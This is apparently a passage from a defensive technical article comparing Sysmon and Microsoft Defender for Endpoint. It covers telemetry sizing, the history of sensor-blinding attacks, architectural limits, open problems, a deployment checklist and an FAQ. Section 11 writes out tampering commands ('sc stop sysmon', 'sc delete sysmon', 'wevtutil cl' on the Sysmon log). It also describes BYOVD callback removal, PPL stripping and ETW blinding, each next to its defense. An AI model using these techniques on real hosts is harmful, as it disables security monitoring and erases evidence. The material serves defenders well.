&lt;p&gt;The Hartong-augment-with-MDE pattern carries a second cost: the ETW manifest-provider session cap. Windows allows up to eight trace sessions to enable and receive events from the same manifest-based provider [@ms-etw-limits]; the &lt;code&gt;EtwTi&lt;/code&gt; security provider, Microsoft Defender Antivirus auto-start sessions, and any WPR sessions a developer might spin up all compete for that shared pool. Adding Sysmon&apos;s session takes one. On a host with a third-party EDR that already consumes several sessions against the same provider, this can cause silent telemetry loss. Audit &lt;code&gt;logman query -ets&lt;/code&gt; regularly.&lt;/p&gt;
&lt;h3&gt;The volume math&lt;/h3&gt;
&lt;p&gt;For sizing, assume a typical Windows endpoint generates roughly 20,000 process-create events per day under steady state (developer workstations are in this range; server volumes are higher; air-gapped jump boxes are lower) [@github-tsale-edr-telem]. The Hartong-augment config drops the top three high-volume EIDs (1 ProcessCreate, 7 ImageLoad, 11 FileCreate) that MDE already collects, retaining only the verbose surfaces. That cuts Sysmon volume by roughly 70 to 85 percent relative to a default-config Sysmon deployment, leaving only the verbose-EID stream (8, 10, 17-18, 19-21) MDE does not surface.&lt;/p&gt;
&lt;p&gt;This is the operational answer to the question. For organisations with detection-engineering teams, Option C is the default. For organisations without, Option B is the default. Option A is correct in a narrow set of contexts and should be picked on purpose. The next two sections turn from the layered &lt;em&gt;architecture&lt;/em&gt; to the layered &lt;em&gt;attack&lt;/em&gt; surface, because every defense has an attacker.&lt;/p&gt;
&lt;h2&gt;11. The Attack Tradition: Telemetry Suppression on Both Halves of the Pipeline&lt;/h2&gt;
&lt;p&gt;If you run an EDR on a host, you have made a bet that the EDR can survive contact with an attacker who knows it is there. The history of that bet -- on both halves of the pipeline -- is a chronological story with named techniques and named CVEs. Twelve years of attack tradition reduce to a small number of attack classes plus the structural defenses that closed each one.&lt;/p&gt;
&lt;h3&gt;Sysmon-side attacks, in order&lt;/h3&gt;
&lt;p&gt;The earliest tampering technique for Sysmon was the most obvious: stop the driver. Until Sysmon v15 in June 2023, the Sysmon service was a normal Windows service, and a SYSTEM-privilege attacker had several easy options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sc stop sysmon&lt;/code&gt; and &lt;code&gt;sc delete sysmon&lt;/code&gt; to unload &lt;code&gt;SysmonDrv.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Rewrite the minifilter altitude so Sysmon loads &lt;em&gt;after&lt;/em&gt; a tamper hook.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wevtutil cl Microsoft-Windows-Sysmon/Operational&lt;/code&gt; to erase history.&lt;/li&gt;
&lt;li&gt;Rewrite &lt;code&gt;SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters&lt;/code&gt; to re-program Sysmon&apos;s filter without restarting it.&lt;/li&gt;
&lt;li&gt;Register a Windows event-channel ACL change to silence &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A small family of community-published tools automated this class. The structural defense, before v15, was discipline: keep SYSTEM out of attacker hands.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;June 2023 v15 protected-process gate is the structural response&lt;/strong&gt; to this entire class. Microsoft Learn states the change verbatim: &quot;&lt;em&gt;The service runs as a protected process, thus disallowing a wide range of user mode interactions&lt;/em&gt;&quot; [@sysmon-ms-learn]. A SYSTEM-privilege attacker can no longer &lt;code&gt;OpenProcess(PROCESS_TERMINATE)&lt;/code&gt; against &lt;code&gt;Sysmon.exe&lt;/code&gt;, inject code into the service&apos;s address space, or attach a user-mode debugger. The class is not closed -- a kernel primitive still works, and a BYOVD chain that can write &lt;code&gt;_EPROCESS.Protection&lt;/code&gt; defeats the gate -- but the bar moves from &quot;a &lt;code&gt;wevtutil&lt;/code&gt; command in a PowerShell window&quot; to &quot;a kernel exploit primitive.&quot;&lt;/p&gt;
&lt;h3&gt;MDE-side attacks, in order&lt;/h3&gt;
&lt;p&gt;The MDE-side attack tradition starts at the Antimalware-PPL boundary on &lt;code&gt;MsSense.exe&lt;/code&gt;. The FalconForce 2022 work this article has already cited multiple times is the dispositive primary [@falconforce-2022]. The verbatim TL;DR -- describing how raising &lt;code&gt;dbgsrv.exe&lt;/code&gt; to &lt;code&gt;WinTcb&lt;/code&gt; PPL lets researchers debug MDE and capture cloud-bound payloads, which surfaced a missing-authorization vulnerability allowing spoofed telemetry to any M365 tenant -- landed earlier as the §6 PullQuote and is the framing this section builds on.&lt;/p&gt;
&lt;p&gt;The technique used a PPLKiller-class BYOVD chain to raise &lt;code&gt;dbgsrv.exe&lt;/code&gt; to &lt;code&gt;WinTcb&lt;/code&gt; PPL, attach to &lt;code&gt;MsSense.exe&lt;/code&gt;, and capture plaintext payloads via &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt; instrumentation. The vulnerability that work disclosed, &lt;strong&gt;CVE-2022-23278&lt;/strong&gt;, was patched on March 8, 2022 [@msrc-cve-2022-23278][@nvd-cve-2022-23278]. That patch closed &lt;em&gt;one&lt;/em&gt; missing-authorization gap in the cloud-side trust model. It did not close the class.&lt;/p&gt;
&lt;p&gt;The InfoGuard Labs 2025 follow-up [@infoguard-2025] demonstrated that the broader class is still open. The technique they used was different -- in-memory patching of &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt; to disable certificate-pinning validation, rather than PPL-elevated debugging -- but the vulnerability they surfaced is the same class: cloud endpoints (&lt;code&gt;/edr/commands/cnc&lt;/code&gt; and &lt;code&gt;/senseir/v1/actions/&lt;/code&gt;) that do not properly validate authentication tokens on traffic claiming to originate from the endpoint. As §7 documented, the MSRC disposition was low severity, no fix committed -- the operational consequence is that the spoofed-telemetry trust pattern that produced CVE-2022-23278 in 2022 is, three years later, still exploitable along a parallel surface.&lt;/p&gt;
&lt;p&gt;The broader attack class -- ETW Threat Intelligence (&lt;code&gt;EtwTi&lt;/code&gt;) blinding -- has been studied independently of MDE. The structural answer in 2026 is HVCI plus VBL plus Antimalware-PPL plus ELAM (the four-component hardening stack). On a fully-hardened endpoint, the user-mode tamper surface that defined the 2014-to-2020 era of EDR-blinding tradecraft is largely closed; the residual attack surface is kernel-mode adversary primitives. That is the structural ceiling §12 picks up.&lt;/p&gt;
&lt;h3&gt;Cross-pipeline attacks&lt;/h3&gt;
&lt;p&gt;Some attacks affect both halves of the pipeline simultaneously. The most-cited is &lt;strong&gt;BYOVD-driven kernel-callback removal&lt;/strong&gt;: a Bring-Your-Own-Vulnerable-Driver chain loads a Microsoft-signed but vulnerable driver, exploits a known CVE in the driver, and from kernel context calls &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; with a &lt;code&gt;Remove = TRUE&lt;/code&gt; flag against the EDR sensor&apos;s registered callbacks, effectively unhooking both Sysmon and MDE at the kernel-callback layer. The structural defense Microsoft shipped in response is the &lt;strong&gt;Microsoft Vulnerable Driver Blocklist&lt;/strong&gt; with HVCI enforcement, which has been on by default since Windows 11 22H2 [@ms-driver-blocklist].&lt;/p&gt;
&lt;p&gt;A second cross-pipeline attack is &lt;strong&gt;direct-syscall bypass&lt;/strong&gt; of user-mode hook libraries -- but this attack is mostly a relic from the 2010s when EDR vendors relied on &lt;code&gt;ntdll.dll&lt;/code&gt; user-mode IAT hooks; modern Sysmon and MDE neither register nor depend on user-mode hooks for the kernel-callback events. Direct-syscall malware that bypasses the user-mode hooks of a &lt;em&gt;third-party&lt;/em&gt; EDR will still produce a Sysmon EID 1 and an MDE &lt;code&gt;DeviceProcessEvents&lt;/code&gt; row, because the kernel-callback fires whether or not the malware called &lt;code&gt;NtCreateUserProcess&lt;/code&gt; via &lt;code&gt;ntdll.dll&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;The attack-surface lattice&lt;/h3&gt;

flowchart TD
    A1[&quot;Sysmon-side: sc stop, wevtutil clear, registry altitude swap&quot;] --&amp;gt; D1[Sysmon v15 protected-process gate]
    A2[&quot;MDE-side: PPLKiller + dbgsrv WinTcb to attach MsSense&quot;] --&amp;gt; D2[&quot;Antimalware-PPL on MsSense.exe&quot;]
    A3[&quot;Cloud-side: CVE-2022-23278 spoofed cloud telemetry&quot;] --&amp;gt; D3[&quot;MSRC patch March 8 2022&quot;]
    A4[&quot;Cloud-side: InfoGuard 2025 cert-pinning bypass + missing auth&quot;] --&amp;gt; O4[&quot;OPEN: &apos;low severity, no fix committed&apos;&quot;]
    A5[&quot;Cross-pipeline: BYOVD kernel-callback unhook&quot;] --&amp;gt; D5[&quot;HVCI + Vulnerable Driver Blocklist (Win11 22H2+)&quot;]
    D1 --&amp;gt; R[&quot;Residual: kernel-mode adversary primitive that defeats HVCI + VBL&quot;]
    D2 --&amp;gt; R
    D5 --&amp;gt; R
    D3 --&amp;gt; R
    O4 -.unclosed.-&amp;gt; R
&lt;p&gt;The shape of the lattice is the shape of the field&apos;s hardening: every user-mode attack class has a structural defense, and the structural defenses converge on a single residual -- the kernel-mode adversary primitive that defeats HVCI plus the Vulnerable Driver Blocklist. On the cloud side, the InfoGuard 2025 finding is the unresolved item -- the same trust pattern that produced CVE-2022-23278 in 2022 produced a different cluster of missing-authorization bugs three years later. The attack-defense arc is still moving, and the two-sided nature of the pipeline (host + cloud) is why.&lt;/p&gt;
&lt;p&gt;Every attack surface has a structural defense. But every defense has a horizon. What is outside the horizon?&lt;/p&gt;
&lt;h2&gt;12. Theoretical Limits: What the Pipeline Cannot See&lt;/h2&gt;
&lt;p&gt;Sysmon and Microsoft Defender for Endpoint are &lt;em&gt;observation&lt;/em&gt; pipelines, not enforcement layers. That statement contains four structural ceilings the engineering cannot lift. These are not bugs to be fixed; they are properties of the architecture that follow from the choice of where the pipeline collects.&lt;/p&gt;
&lt;h3&gt;Ceiling 1: The pre-driver-load horizon&lt;/h3&gt;
&lt;p&gt;Both Sysmon&apos;s &lt;code&gt;SysmonDrv.sys&lt;/code&gt; and Defender for Endpoint&apos;s &lt;code&gt;WdBoot.sys&lt;/code&gt; are kernel drivers, but they sit at different points in the boot order. &lt;code&gt;WdBoot.sys&lt;/code&gt; is ELAM-signed and loads before any non-ELAM driver, which lets it classify subsequent boot-start drivers as &lt;code&gt;Good&lt;/code&gt;, &lt;code&gt;Bad&lt;/code&gt;, or &lt;code&gt;Unknown&lt;/code&gt; for the kernel&apos;s load decision. (Measured Boot separately hashes &lt;code&gt;WdBoot.sys&lt;/code&gt; along with the bootloader and kernel into TPM PCRs; that integrity-attestation channel is a sibling feature, not ELAM&apos;s own job.) &lt;code&gt;SysmonDrv.sys&lt;/code&gt; is &lt;code&gt;BootStart&lt;/code&gt;-ordered but not ELAM-signed -- it loads early, but not first.&lt;/p&gt;
&lt;p&gt;Events that happen before the EDR driver&apos;s &lt;code&gt;DriverEntry&lt;/code&gt; runs are &lt;em&gt;not observable&lt;/em&gt; by that driver. For Sysmon, that means rootkit-class malware that loads inside the early Windows boot path (UEFI bootkits, boot-record manipulation, very-early kernel modifications) is invisible until after Sysmon catches up. For MDE, the ELAM-signed &lt;code&gt;WdBoot.sys&lt;/code&gt; closes most of this window for non-ELAM drivers; the residual is anything that runs even earlier -- UEFI-firmware-resident malware, hardware-implant attacks, the very narrow class that targets the pre-ELAM trust boundary itself. The &lt;a href=&quot;https://paragmali.com/blog/measured-boot-the-tcg-event-log-from-srtm-to-pcr-bound-bitlo/&quot; rel=&quot;noopener&quot;&gt;Measured Boot&lt;/a&gt; plus &lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot&lt;/a&gt; stack (covered in adjacent articles in this series) is what observes the pre-ELAM region. EDR&apos;s reach does not extend below the ELAM line.&lt;/p&gt;
&lt;h3&gt;Ceiling 2: The observation-vs-enforcement latency gap&lt;/h3&gt;
&lt;p&gt;Sysmon&apos;s kernel-callback to event-log latency is sub-millisecond. The driver runs the rule engine, decides to emit, and writes through the ETW publisher to the Sysmon service. The service writes to the event log. The total path is microseconds in the best case, milliseconds under load.&lt;/p&gt;
&lt;p&gt;MDE&apos;s end-to-end latency to a queryable Kusto row is &lt;em&gt;seconds to tens of seconds&lt;/em&gt;. The endpoint side takes microseconds; the TLS hop to regional ingest takes the dominant fraction of a second; the Kusto write and per-tenant indexing takes the rest. Microsoft&apos;s own Advanced Hunting documentation phrases the freshness contract carefully: &quot;&lt;em&gt;Advanced hunting receives this data almost immediately after the sensors that collect them successfully transmit it to the corresponding cloud services&lt;/em&gt;&quot; [@advanced-hunting-overview]. &quot;Almost immediately&quot; is empirically a few seconds in steady state, longer under load, and indefinite when the endpoint cannot reach the cloud.&lt;/p&gt;
&lt;p&gt;Any payload that completes its work inside the observation window has executed &lt;em&gt;before&lt;/em&gt; the SIEM rule could fire. A &lt;code&gt;mimikatz.exe&lt;/code&gt; invocation that dumps LSA secrets in three milliseconds, exfiltrates them over a covert DNS channel in 800 milliseconds, and exits in another two milliseconds has produced a complete attack chain before MDE&apos;s event has reached Kusto, let alone before the Maya-class analyst has glanced at her console. The hybrid responses that blur this boundary -- Sysmon v14&apos;s FileBlockExecutable (EID 27), MDE&apos;s ASR rules and Network Protection -- are &lt;em&gt;kernel-callback-time&lt;/em&gt; decisions, not SIEM-rule-time decisions; they run inside the few-microsecond window the driver itself owns, and they are constrained by the rule logic baked into the host configuration rather than by the live correlation logic of the cloud-side detection engine.&lt;/p&gt;
&lt;h3&gt;Ceiling 3: MDE schema truncation versus Sysmon manifest&lt;/h3&gt;
&lt;p&gt;This is the ceiling §8 quantified column-by-column. The &lt;code&gt;Device*&lt;/code&gt; tables surface a normalized, mostly-complete cross-walk of Sysmon&apos;s manifest -- but mostly-complete is not the same as complete. The &lt;code&gt;ProcessAccess&lt;/code&gt; GrantedAccess mask is the most-cited example: Sysmon EID 10 captures the full 32-bit &lt;code&gt;PROCESS_ACCESS_MASK&lt;/code&gt; (which discriminates between &lt;code&gt;PROCESS_QUERY_INFORMATION&lt;/code&gt;, &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;, &lt;code&gt;PROCESS_CREATE_THREAD&lt;/code&gt;, and so on -- the canonical malicious patterns are visible in this mask), while MDE&apos;s &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;OpenProcessApiCall&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; collapses the mask into a coarser categorization. The WmiEvent consumer expressions Sysmon EIDs 19-21 capture verbatim -- which are how WMI-based persistence is detected -- are not surfaced in the &lt;code&gt;Device*&lt;/code&gt; schema at all. RawAccessRead (EID 9, the canonical disk-level credential-theft observable) is omitted. PipeEvent (EIDs 17-18) is omitted.&lt;/p&gt;
&lt;p&gt;Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; exists precisely because of this asymmetry. The augment config is a community-curated artifact whose purpose is to fill the schema-truncation gap. The cost: a second telemetry stream on the host. The benefit: detection-engineering visibility into the verbose-EID surface MDE drops.&lt;/p&gt;
&lt;h3&gt;Ceiling 4: The kernel-mode adversary primitive&lt;/h3&gt;
&lt;p&gt;A ring-0 attacker with a working kernel primitive -- a memory-write capability into the kernel data structures, typically delivered via BYOVD against a vulnerable signed driver -- can defeat the pipeline as a consequence of defeating the structural defenses that protect it. Specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Direct call to &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; with &lt;code&gt;Remove = TRUE&lt;/code&gt; unregisters the EDR sensor&apos;s callback, after which &lt;code&gt;CreateProcess&lt;/code&gt; events on that host produce no observable.&lt;/li&gt;
&lt;li&gt;A patch to the &lt;code&gt;_EPROCESS.Protection&lt;/code&gt; field of &lt;code&gt;MsSense.exe&lt;/code&gt; or &lt;code&gt;Sysmon.exe&lt;/code&gt; strips the Antimalware-PPL gate, after which user-mode attacks against the service work again.&lt;/li&gt;
&lt;li&gt;A direct write into the &lt;code&gt;EtwTi&lt;/code&gt; provider&apos;s keyword mask zero-pages the security-event-emission surface, after which the kernel-side &lt;code&gt;EtwTi&lt;/code&gt; consumer (which several EDRs subscribe to) sees no events even when the underlying behaviour fired.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &quot;Tampering with Windows Event Tracing&quot; research published by Palantir in 2018 (Matt Graeber&apos;s canonical writeup) and the follow-on &lt;code&gt;EtwTi&lt;/code&gt;-blinding tradition is the published primary for this attack class [@palantir-etw-tampering-2018]. The structural defenses are HVCI plus VBL plus Antimalware-PPL plus ELAM. But the four-component hardening stack does not prevent a kernel-mode adversary primitive from defeating the EDR; it only raises the bar to &lt;em&gt;needing&lt;/em&gt; a kernel-mode adversary primitive.&lt;/p&gt;

Observation requires execution overhead, and execution requires the observer to live in the same trust domain as the observed. A kernel-mode observer (Sysmon, MDE) lives in the same kernel trust domain as the kernel-mode attacker; a hypervisor-rooted observer (`EtwTi` running under Virtualization-Based Security) shifts the trust boundary up one level, but does not eliminate it -- the observer-in-VBS is still subject to attacks on the hypervisor itself. There is no architectural place to put the observer that is strictly outside the attacker&apos;s reach unless the observer is in different hardware, which is what hardware-rooted Root-of-Trust attestations attempt and what an Anti-Tamper Service Provider (ATSP) is being defined for. EDR sensors will always be co-resident with the adversary at *some* trust boundary. The ceiling is structural.
&lt;p&gt;Four ceilings, four sets of open questions. What is the field working on right now?&lt;/p&gt;
&lt;h2&gt;13. Open Problems and Active Work&lt;/h2&gt;
&lt;p&gt;Some questions in this article have no answer in 2026. Five of them are where the field will move next.&lt;/p&gt;
&lt;h3&gt;The MDE kernel-callback inventory&lt;/h3&gt;
&lt;p&gt;As §6&apos;s aha-moment Callout established, Microsoft has not published a kernel-callback inventory for the MDE EDR sensor, which is the structural reason Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; exists as a community-curated artifact rather than a Microsoft-published reference. What §13 adds is the &lt;em&gt;empirical scaffolding&lt;/em&gt; the community uses in the absence of that inventory: the MITRE Engenuity Round 6 (2024) evaluation results [@ms-mitre-2024-blog] plus the Shen et al. whole-graph re-analysis [@arxiv-shen-2024] are the closest published evidence of which MDE detection paths produced an alert during a known emulated technique. Neither covers an end-to-end kernel-callback enumeration comparable to Sysmon&apos;s manifest -- they cover &lt;em&gt;outputs&lt;/em&gt; (alerts produced) rather than &lt;em&gt;mechanisms&lt;/em&gt; (callbacks registered). Closing this gap would require either Microsoft to publish a per-&lt;code&gt;ActionType&lt;/code&gt;-to-per-kernel-callback cross-walk for the &lt;code&gt;Device*&lt;/code&gt; schema, or the community to fund and publish a reverse-engineered inventory that goes meaningfully past the FalconForce 2022 and InfoGuard 2025 slices. As of 2026, neither has happened.&lt;/p&gt;
&lt;h3&gt;Defender XDR built-in detection rule logic&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;AlertInfo&lt;/code&gt; and &lt;code&gt;AlertEvidence&lt;/code&gt; table schemas are published; the underlying rule logic that produces alerts in these tables is not. Microsoft ships &quot;Microsoft-authored detection rules&quot; as part of Defender XDR Plan 2, and the rules update continuously without an obvious public changelog. The community workaround is to subscribe to the MITRE ATT&amp;amp;CK evaluation rounds (the most recent being Round 6 in 2024 [@ms-mitre-2024-blog][@arxiv-shen-2024]) and infer rule coverage from per-technique detection scores, but this is indirect and lossy. A published rule-logic catalogue would let detection-engineering teams reason about which custom rules are duplicates of Microsoft&apos;s authored content and which fill genuine gaps.&lt;/p&gt;
&lt;h3&gt;Cross-tenant hunting and data sovereignty&lt;/h3&gt;
&lt;p&gt;MSSPs (managed-security service providers) routinely need to hunt across multiple customer tenants for shared-IOC observations. Microsoft&apos;s official multi-tenant story is Microsoft Defender XDR Multitenant Management (in GA) plus Azure Lighthouse for cross-tenant Sentinel access. Both are functional and both are documented at the operational level. The deeper question -- &lt;em&gt;what is the GDPR/HIPAA/FedRAMP framework around hunting an IOC observed in Tenant A against telemetry held in Tenant B&apos;s regional Kusto cluster?&lt;/em&gt; -- is unsettled. The data-residency commitments Microsoft makes per region [@ms-server-endpoints-learn] do not directly answer the cross-tenant-hunt question. Vendor and customer guidance is still maturing.&lt;/p&gt;
&lt;h3&gt;A Microsoft-published reference MDE-augmentation Sysmon config&lt;/h3&gt;
&lt;p&gt;Hartong&apos;s config is the community answer to the question &quot;what Sysmon EIDs should I emit on a host that already has MDE?&quot; There is no Microsoft-published reference equivalent. This is the most surgical near-term improvement Microsoft could make. Publishing such a config -- even as a starting-point template, not a binding recommendation -- would compress an entire detection-engineering conversation into a single endorsed artifact. The political reason it has not happened is partly that Microsoft does not officially recommend running Sysmon alongside MDE; the operational reality is that detection-engineering-mature shops do anyway.&lt;/p&gt;
&lt;h3&gt;Cross-platform parity&lt;/h3&gt;
&lt;p&gt;Sysmon for Linux (&lt;code&gt;microsoft/SysmonForLinux&lt;/code&gt;, created October 28, 2020 and publicly announced in October 2021) ships an eBPF-based implementation of the same XML schema and emits to syslog [@github-sysmon-linux]. It is a substantial subset of the Windows manifest -- process create, file write, network connect, image load, raw access read -- with the cross-OS shared XML rule grammar going for it, so a detection-engineering team can write one Sigma-aligned rule and run it against both Windows and Linux endpoints with minor token substitutions. Full parity between the Windows kernel-callback Sysmon and the Linux eBPF Sysmon is &lt;em&gt;not&lt;/em&gt; the design intent; the Linux port intentionally captures only the EIDs that map cleanly onto eBPF observables. &lt;code&gt;BTFHub&lt;/code&gt; plus &lt;code&gt;SysinternalsEBPF&lt;/code&gt; (the in-tree CO-RE infrastructure the Linux port uses) make per-kernel-version deployments tractable, but the field has not yet converged on a single canonical Linux config the way it converged on SwiftOnSecurity for Windows.&lt;/p&gt;
&lt;p&gt;These five open problems are where the field will move in the next five years. In the meantime, what does the analyst do on Monday morning?&lt;/p&gt;
&lt;h2&gt;14. Seven Things to Do Monday Morning&lt;/h2&gt;
&lt;p&gt;Everything above has been background. Here is the operational checklist. Each step is anchored to a primary citation. Walk all seven on a single non-production host before fleet rollout; the ninety-second triage walk from §1 is best learned by reproducing it once on your own tenant.&lt;/p&gt;
&lt;h3&gt;1. Verify the MDE sensor service is healthy&lt;/h3&gt;
&lt;p&gt;Run as Administrator on the endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sc query sense
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A healthy result shows &lt;code&gt;STATE: 4 RUNNING&lt;/code&gt; and &lt;code&gt;WIN32_EXIT_CODE: 0&lt;/code&gt;. If the result is &lt;code&gt;STATE: 1 STOPPED&lt;/code&gt; or the service is missing entirely, consult the WDATPOnboarding event source in the Application event log for events 5, 10, 15, 30, 35, 40, 65, and 70 -- each has a documented resolution procedure [@sense-troubleshoot]. On Windows Server 2019, 2022, 2025, or Azure Stack HCI 23H2 or later, also verify the Feature on Demand is installed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DISM.EXE /Online /Get-CapabilityInfo /CapabilityName:Microsoft.Windows.Sense.Client~~~~
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result should show &lt;code&gt;State : Installed&lt;/code&gt; and &lt;code&gt;Version : 10.x.x.x&lt;/code&gt;. If &lt;code&gt;State : NotPresent&lt;/code&gt;, install the FoD before proceeding.&lt;/p&gt;
&lt;h3&gt;2. Open Advanced Hunting and run the §8 query&lt;/h3&gt;
&lt;p&gt;Navigate to &lt;code&gt;defender.microsoft.com&lt;/code&gt; (or the legacy &lt;code&gt;security.microsoft.com&lt;/code&gt;), expand &lt;strong&gt;Hunting &amp;gt; Advanced hunting&lt;/strong&gt;, paste the §8 KQL query, and run it [@advanced-hunting-overview]. On a fresh tenant the query may return zero rows -- that is the correct result for a healthy environment. Tighten the time window if it is slow (&lt;code&gt;Timestamp &amp;gt; ago(1h)&lt;/code&gt; instead of &lt;code&gt;ago(24h)&lt;/code&gt;) until the query returns within ten seconds. The point of this step is to confirm the read surface is reachable and that the user has Hunter (or higher) RBAC permission on the tenant.&lt;/p&gt;
&lt;h3&gt;3. If licensed for Sentinel, install the Defender XDR connector&lt;/h3&gt;
&lt;p&gt;In the Microsoft Sentinel workspace, navigate to &lt;strong&gt;Data connectors&lt;/strong&gt;, choose &lt;strong&gt;Microsoft Defender XDR&lt;/strong&gt;, and configure per-table streaming [@sentinel-xdr-connector]. Pick the tables your team needs longer retention or analytics-rule scheduling on; leave the others to in-portal Advanced Hunting. Be aware that enabling the connector &quot;&lt;em&gt;automatically disconnects&lt;/em&gt;&quot; any legacy Microsoft Defender component connectors during enablement; this is the cleanup detail to plan for during migration windows [@sentinel-xdr-connector].&lt;/p&gt;
&lt;h3&gt;4. If deploying Sysmon alongside MDE, start from the augment config&lt;/h3&gt;
&lt;p&gt;Clone &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;, build the &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; variant, and deploy with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sysmon64.exe -accepteula -i sysmonconfig-mde-augment.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify the active configuration with &lt;code&gt;Sysmon64.exe -c&lt;/code&gt; and confirm the rule count matches the augment config&apos;s expected output [@github-hartong-modular].&lt;/p&gt;
&lt;h3&gt;5. If deploying Sysmon standalone, start from NextronSystems or modular default&lt;/h3&gt;
&lt;p&gt;For air-gapped or unlicensed environments, clone &lt;code&gt;NextronSystems/sysmon-config&lt;/code&gt; (the post-2021-rename successor to &lt;code&gt;Neo23x0/sysmon-config&lt;/code&gt;) and deploy &lt;code&gt;sysmonconfig.xml&lt;/code&gt; or, for the blocking-rule variant, &lt;code&gt;sysmonconfig-export-block.xml&lt;/code&gt; [@github-neo23x0][@github-nextronsystems-meta]. Alternatively, &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;&apos;s default &lt;code&gt;sysmonconfig.xml&lt;/code&gt; (built from the modular library) is the right choice if you want fine-grained per-technique tuning later [@github-hartong-modular].&lt;/p&gt;
&lt;h3&gt;6. Verify Sysmon v15.2 or later is running&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Sysmon64.exe -c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output&apos;s header line should show the binary version. Anything &lt;code&gt;v15.x&lt;/code&gt; or later has the protected-process gate enabled [@sysmon-ms-learn][@bleepingcomputer-sysmon15]. Anything older is trivially blindable by a SYSTEM-privilege attacker and is the single biggest deployment-hygiene risk in the Sysmon population today.&lt;/p&gt;
&lt;h3&gt;7. Audit the MDE onboarding registry hives&lt;/h3&gt;
&lt;p&gt;Compare the live registry values to the expected onboarding state:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reg query &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unexpected changes -- particularly a change to the onboarding &lt;code&gt;OrgId&lt;/code&gt; or to the policy-controlled &lt;code&gt;Disabled&lt;/code&gt; value -- are an indicator that the tenant or device has been re-targeted, possibly by an attacker who obtained admin-level access and is attempting to re-route the endpoint&apos;s telemetry to a different tenant or to disable the MDE sensor entirely [@sense-troubleshoot]. Set up a Sentinel detection rule on &lt;code&gt;DeviceRegistryEvents&lt;/code&gt; with &lt;code&gt;RegistryKey contains &quot;Windows Advanced Threat Protection&quot;&lt;/code&gt; to surface this class of tampering automatically.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Walk steps 1 and 2 on a single non-production host before fleet rollout. The ninety-second-triage walk you saw in §1 is best learned by reproducing it once on your own tenant. The cost of getting steps 4-6 wrong (deploying the wrong Sysmon config on a high-volume server fleet) is hours of operational pain; the cost of doing them right on a single test host first is twenty minutes.&lt;/p&gt;
&lt;/blockquote&gt;

The MDE sensor service has not been onboarded on this host. Two common causes: (1) the endpoint is on a Windows Server SKU and the SENSE Feature on Demand has not been installed; run the DISM `Get-CapabilityInfo` check in step 1 to confirm. (2) The onboarding script (the `WindowsDefenderATPLocalOnboardingScript.cmd` or the equivalent Group Policy / Intune / SCCM artifact) has not been run on this host. The MDE settings page in the Defender XDR portal shows the per-device onboarding artifacts under **Settings &amp;gt; Endpoints &amp;gt; Onboarding** for download [@sense-troubleshoot].
&lt;p&gt;The Defender XDR portal also exposes a &lt;strong&gt;device timeline&lt;/strong&gt; view that surfaces a chronological event stream per device without requiring KQL. This is the right view for analysts who are still learning the schema; the KQL surface is the right view for repeatable hunts and detection-rule authoring.&lt;/p&gt;
&lt;p&gt;Seven steps, one Monday. The rest of the questions are in the FAQ.&lt;/p&gt;
&lt;h2&gt;15. Frequently Asked Questions&lt;/h2&gt;
&lt;p&gt;Seven of the questions that come up every time this material is taught.&lt;/p&gt;


Yes on its output side; mostly no on its input side. Sysmon publishes its events through an ETW provider called `Microsoft-Windows-Sysmon`, which is how downstream collectors and the Windows Event Log service consume the data. On its *input* side, Sysmon is a kernel driver that collects via five different mechanisms -- `PsSetCreateProcessNotifyRoutineEx` for process create and exit, `PsSetLoadImageNotifyRoutine` for image load and driver load, `PsSetCreateThreadNotifyRoutineEx` for remote-thread creation, `ObRegisterCallbacks` for cross-process access, `CmRegisterCallbackEx` for registry, and Filter Manager minifilters for ordinary file system and NPFS named pipes. Two exceptions live on Sysmon&apos;s input side. The single kernel-ETW consumer is `Microsoft-Windows-DNS-Client` for EID 22 DNSEvent; the WmiEvent family (EIDs 19-21) is implemented in a consumer style against the WMI activity provider&apos;s user-mode tracing surface. Calling Sysmon &quot;ETW-based&quot; without that distinction is the most common architectural confusion in the field [@sysmon-ms-learn].

